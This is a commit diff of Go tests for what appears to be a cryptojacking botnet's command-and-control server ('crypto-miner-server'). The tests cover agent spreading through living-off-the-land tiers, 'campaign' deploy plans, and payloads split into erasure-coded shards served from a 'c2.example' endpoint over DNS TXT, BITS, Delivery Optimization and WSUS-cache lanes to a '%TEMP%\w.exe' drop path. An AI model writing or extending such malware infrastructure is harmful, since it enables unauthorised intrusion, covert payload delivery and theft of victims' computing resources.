Close test-gap noise rows and sync coverage documentation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
This commit is contained in:
AetherForge
2026-06-07 06:44:54 -07:00
parent 72ae457cca
commit 821a0e2cd7
14 changed files with 710 additions and 147 deletions

View File

@@ -1,11 +1,13 @@
package api
import (
"encoding/base64"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
@@ -79,15 +81,131 @@ func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
pt := NewPathTracerHandler(nil)
h.BindPathTracer(pt)
patientID := "erasure-patient"
seedID := "erasure-seed"
if err := h.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
t.Fatal(err)
}
if err := h.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(h.db)
connectTestAgent(t, hub, patientID)
connectTestAgent(t, hub, seedID)
waitForHubAgents(t, hub, patientID, seedID)
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
pathTracer := NewPathTracerHandler(hub)
h.BindPathTracer(pathTracer)
sess := testTraceSession(2)
sess.Hops[0].AgentID = patientID
sess.Hops[0].ExternalIP = "10.9.8.7"
sess.Hops[1].AgentID = seedID
sess.Hops[1].ExternalIP = "10.9.8.9"
sess.ServiceGraph = map[string]ServiceGraphHost{
"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
}
pathTracer.mu.Lock()
pathTracer.sessions[sess.ID] = sess
pathTracer.mu.Unlock()
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "seed-1", Platform: "windows", BuildID: "b1",
AgentID: patientID, Platform: "windows", BuildID: "b1",
}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil {
t.Fatal("expected erasure plan")
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure plan, got %+v", plan.ErasurePlan)
}
if plan.SpreadRouteHint == nil || !plan.SpreadRouteHint.ErasureLanesEnabled {
t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint)
}
}
func TestPublicErasureShardEndpointErrors(t *testing.T) {
h := NewPublicHandler(nil, "", nil)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/tok/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("nil store status=%d", rec.Code)
}
store := erasure.NewShardStore()
h.BindErasureShardStore(store)
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", []byte("shard-body"), "dest", "exe", "", false, false)
if err != nil {
t.Fatal(err)
}
badIndexReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/nope", nil)
badIndexRec := httptest.NewRecorder()
r.ServeHTTP(badIndexRec, badIndexReq)
if badIndexRec.Code != http.StatusBadRequest {
t.Fatalf("bad index status=%d body=%s", badIndexRec.Code, badIndexRec.Body.String())
}
missingReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/missing-token/0", nil)
missingRec := httptest.NewRecorder()
r.ServeHTTP(missingRec, missingReq)
if missingRec.Code != http.StatusNotFound {
t.Fatalf("missing token status=%d", missingRec.Code)
}
}
func TestPublicErasureShardEndpointBase64Body(t *testing.T) {
store := erasure.NewShardStore()
payload := []byte("base64-shard-payload")
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, "dest", "exe", "", false, false)
if err != nil {
t.Fatal(err)
}
h := NewPublicHandler(nil, "", nil)
h.BindErasureShardStore(store)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
want := base64.StdEncoding.EncodeToString(mustGetShard(t, store, plan.ShardToken, 0))
if rec.Body.String() != want {
t.Fatalf("body=%q want %q", rec.Body.String(), want)
}
}
func mustGetShard(t *testing.T, store *erasure.ShardStore, token string, index int) []byte {
t.Helper()
data, ok := store.Get(token, index)
if !ok {
t.Fatalf("missing shard token=%s index=%d", token, index)
}
return data
}
func TestBindErasureFromHub(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
hub := NewWSHub(h.db)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
h.BindErasureFromHub(hub, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure via hub binding, got %+v", plan.ErasurePlan)
}
}

View File

@@ -7,6 +7,8 @@ import (
"net/http/httptest"
"strings"
"testing"
"crypto-miner-server/internal/erasure"
)
func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
@@ -109,6 +111,38 @@ func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
}
}
func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
out := postDeployPlan(t, h, `{
"services":[{"name":"DoSvc","status":"running"}],
"platform":"windows","build_id":"b1","campaign":"erasure-wave"
}`)
plan, ok := out["plan"].(map[string]interface{})
if !ok {
t.Fatalf("plan=%v", out["plan"])
}
erasurePlan, ok := plan["erasure_plan"].(map[string]interface{})
if !ok || erasurePlan["enabled"] != true {
t.Fatalf("erasure_plan=%v", plan["erasure_plan"])
}
shards, ok := erasurePlan["shards"].([]interface{})
if !ok || len(shards) != 6 {
t.Fatalf("shards=%v", erasurePlan["shards"])
}
token, _ := erasurePlan["shard_token"].(string)
if token == "" {
t.Fatal("expected shard_token")
}
if _, ok := store.Get(token, 0); !ok {
t.Fatal("expected stored shard for HTTP deploy plan")
}
}
func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
h := testDeployPlanHandler(t)
srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))

View File

@@ -3,14 +3,38 @@ package api
import (
"encoding/json"
"testing"
"crypto-miner-server/internal/db"
)
func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
hub := NewWSHub(nil)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
raw := buildAuthSpreadPolicy(hub)
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "erasure-policy-agent",
"hostname": "host",
"platform": "windows",
"version": "test",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
raw, ok := body["spread_policy"]
if !ok {
t.Fatalf("spread_policy missing from auth_response: %#v", body)
}
policyBytes, _ := json.Marshal(raw)
var policy map[string]interface{}
if err := json.Unmarshal(raw, &policy); err != nil {
if err := json.Unmarshal(policyBytes, &policy); err != nil {
t.Fatal(err)
}
enabled, ok := policy["erasure_lanes_enabled"].(bool)
@@ -19,20 +43,28 @@ func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
}
}
func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
policy := hub.serverPolicySnapshot()
if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
return nil
func TestAuthSpreadPolicyOmitsErasureWhenDisabled(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "no-erasure-agent",
"hostname": "host",
"platform": "windows",
"version": "test",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
if _, ok := body["spread_policy"]; ok {
t.Fatalf("spread_policy should be omitted: %#v", body["spread_policy"])
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
raw, _ := json.Marshal(spreadPolicy)
return raw
}

View File

@@ -55,6 +55,32 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
return hub, database, sched
}
func seedStuckAgentDB(t *testing.T, database *db.Database, agentID string) {
t.Helper()
attempts := make([]struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}, 0, len(fleetai.DefaultSpreadTiers()))
for _, tier := range fleetai.DefaultSpreadTiers() {
attempts = append(attempts, struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{Tier: tier, OK: false, Error: "blocked"})
}
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "stuck-host", Platform: "windows", Status: "online",
ChainExhausted: true, LOTLAttempts: attempts,
}); err != nil {
t.Fatal(err)
}
}
func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
t.Helper()
attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
@@ -87,17 +113,39 @@ func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
t.Helper()
deadline := time.Now().Add(2 * time.Second)
deadline := time.Now().Add(8 * time.Second)
for time.Now().Before(deadline) {
if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
return snap
}
time.Sleep(25 * time.Millisecond)
time.Sleep(50 * time.Millisecond)
}
t.Fatal("agent snapshot never reached stuck/court state")
return fleetai.AgentSnapshot{}
}
func waitForAgentTelemetry(t *testing.T, hub *WSHub, agentID string, keys ...string) {
t.Helper()
deadline := time.Now().Add(4 * time.Second)
for time.Now().Before(deadline) {
hub.mu.RLock()
tel, ok := hub.agentLiveTelemetry[agentID]
missing := false
for _, key := range keys {
if !ok || tel[key] == nil {
missing = true
break
}
}
hub.mu.RUnlock()
if !missing {
return
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("telemetry keys %v never cached for %s", keys, agentID)
}
func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
@@ -170,6 +218,8 @@ func TestIntegrationCourtStuckFlow(t *testing.T) {
"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
})
pushStuckAgentTelemetry(t, conn)
seedStuckAgentDB(t, database, agentID)
waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
}

View File

@@ -0,0 +1,29 @@
package api
import (
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestBuildSpreadRouterInputErasureFlag(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
if err := database.UpsertAgent(&models.Agent{ID: "router-seed", Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
t.Fatal(err)
}
connectTestAgent(t, hub, "router-seed")
waitForHubAgents(t, hub, "router-seed")
in := buildSpreadRouterInput(hub, nil, []string{"10.9.8"}, "do_peer")
if !in.ErasureLanesEnabled {
t.Fatal("expected erasure_lanes_enabled on spread router input")
}
}

View File

@@ -72,6 +72,31 @@ func TestDecodeInsufficientShards(t *testing.T) {
}
}
func TestEncodeRejectsEmptyPayload(t *testing.T) {
if _, _, err := Encode(nil, DefaultParams()); err == nil {
t.Fatal("expected error for empty payload")
}
}
func TestParamsNormalizeInvalid(t *testing.T) {
if _, err := (Params{DataShards: 0, ParityShards: 0}).Normalize(); err != nil {
t.Fatalf("zero values should normalize: %v", err)
}
if _, err := (Params{DataShards: -1, ParityShards: 1}).Normalize(); err == nil {
t.Fatal("expected error for negative data shards")
}
if _, err := (Params{DataShards: 200, ParityShards: 100}).Normalize(); err == nil {
t.Fatal("expected error for too many shards")
}
}
func TestParamsShardCounts(t *testing.T) {
p := Params{DataShards: 4, ParityShards: 2}
if p.MinShards() != 4 || p.TotalShards() != 6 {
t.Fatalf("min=%d total=%d", p.MinShards(), p.TotalShards())
}
}
func TestBuildPlanStoresShards(t *testing.T) {
store := NewShardStore()
payload := []byte("lane-plan-payload")

View File

@@ -0,0 +1,79 @@
package erasure
import (
"strings"
"testing"
)
func TestBuildPlanParallelLaneURLs(t *testing.T) {
store := NewShardStore()
plan, err := BuildPlan(store, "http://c2.example:8989/", "build-a", "camp-b", []byte("lane-url-payload"), `%TEMP%\w.exe`, "exe", "", true, true)
if err != nil {
t.Fatal(err)
}
wantLanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl"}
if len(plan.Shards) != len(wantLanes) {
t.Fatalf("shards=%d", len(plan.Shards))
}
for i, ref := range plan.Shards {
if ref.Index != i || ref.Lane != wantLanes[i] {
t.Fatalf("shard[%d]=%+v want lane %q", i, ref, wantLanes[i])
}
wantURL := "http://c2.example:8989/api/v1/public/erasure-shard/" + plan.ShardToken + "/" + itoa(i)
if ref.URL != wantURL {
t.Fatalf("url=%q want %q", ref.URL, wantURL)
}
}
if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 {
t.Fatalf("plan=%+v", plan)
}
if !plan.DeferMining || !plan.SpreadInstall {
t.Fatalf("flags defer=%v spread=%v", plan.DeferMining, plan.SpreadInstall)
}
}
func TestBuildPlanDefaultsServerURL(t *testing.T) {
store := NewShardStore()
plan, err := BuildPlan(store, " ", "b1", "", []byte("payload"), "dest", "exe", "", false, false)
if err != nil {
t.Fatal(err)
}
if len(plan.Shards) == 0 || !strings.HasPrefix(plan.Shards[0].URL, "http://127.0.0.1:8989/") {
t.Fatalf("default base url missing: %+v", plan.Shards[0])
}
}
func TestBuildPlanNilStore(t *testing.T) {
if _, err := BuildPlan(nil, "http://x", "b", "", []byte("x"), "", "", "", false, false); err == nil {
t.Fatal("expected error for nil store")
}
}
func TestPlanTokenDeterministic(t *testing.T) {
payload := []byte("token-determinism")
a := planToken("build-1", "camp-1", payload)
b := planToken("build-1", "camp-1", payload)
if a != b || len(a) != 16 {
t.Fatalf("token=%q len=%d", a, len(a))
}
if planToken("build-1", "camp-2", payload) == a {
t.Fatal("campaign should change token")
}
if planToken("build-2", "camp-1", payload) == a {
t.Fatal("build id should change token")
}
}
func itoa(n int) string {
if n == 0 {
return "0"
}
var b [4]byte
i := len(b)
for n > 0 {
i--
b[i] = byte('0' + n%10)
n /= 10
}
return string(b[i:])
}

View File

@@ -0,0 +1,108 @@
package erasure
import (
"sync"
"testing"
)
func TestShardStorePutGetRoundTrip(t *testing.T) {
store := NewShardStore()
p := DefaultParams()
shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")}
store.Put("tok-1", p, shards)
got, ok := store.Get("tok-1", 2)
if !ok || string(got) != "c" {
t.Fatalf("get shard 2 = %q ok=%v", got, ok)
}
storedP, ok := store.ParamsFor("tok-1")
if !ok || storedP.DataShards != DefaultDataShards {
t.Fatalf("params=%+v ok=%v", storedP, ok)
}
}
func TestShardStoreGetReturnsCopy(t *testing.T) {
store := NewShardStore()
p := DefaultParams()
shards := [][]byte{[]byte("mutable")}
store.Put("tok-copy", p, shards)
got, ok := store.Get("tok-copy", 0)
if !ok {
t.Fatal("expected shard")
}
got[0] = 'X'
again, _ := store.Get("tok-copy", 0)
if again[0] == 'X' {
t.Fatal("Get should return defensive copy")
}
}
func TestShardStoreNilAndEmptyGuards(t *testing.T) {
var nilStore *ShardStore
nilStore.Put("x", DefaultParams(), [][]byte{[]byte("a")})
if _, ok := nilStore.Get("x", 0); ok {
t.Fatal("nil store should not serve shards")
}
if _, ok := nilStore.ParamsFor("x"); ok {
t.Fatal("nil store should not serve params")
}
nilStore.Delete("x")
store := NewShardStore()
store.Put("", DefaultParams(), [][]byte{[]byte("a")})
store.Put("empty-shards", DefaultParams(), nil)
if _, ok := store.Get("", 0); ok {
t.Fatal("empty token should not be stored")
}
if _, ok := store.Get("empty-shards", 0); ok {
t.Fatal("empty shard list should not be stored")
}
if _, ok := store.Get("missing", 0); ok {
t.Fatal("missing token should miss")
}
if _, ok := store.Get("missing", -1); ok {
t.Fatal("negative index should miss")
}
}
func TestShardStoreDelete(t *testing.T) {
store := NewShardStore()
p := DefaultParams()
store.Put("gone", p, [][]byte{[]byte("x")})
store.Delete("gone")
if _, ok := store.Get("gone", 0); ok {
t.Fatal("deleted token should miss")
}
if _, ok := store.ParamsFor("gone"); ok {
t.Fatal("deleted token params should miss")
}
}
func TestShardStoreConcurrentAccess(t *testing.T) {
store := NewShardStore()
p := DefaultParams()
payload := []byte("concurrent-erasure-store-payload")
shards, _, err := Encode(payload, p)
if err != nil {
t.Fatal(err)
}
store.Put("concurrent", p, shards)
var wg sync.WaitGroup
for i := 0; i < 8; i++ {
wg.Add(1)
go func(idx int) {
defer wg.Done()
for j := 0; j < 50; j++ {
if _, ok := store.Get("concurrent", idx%len(shards)); !ok {
t.Errorf("worker %d miss on iter %d", idx, j)
}
if _, ok := store.ParamsFor("concurrent"); !ok {
t.Errorf("worker %d params miss", idx)
}
}
}(i)
}
wg.Wait()
}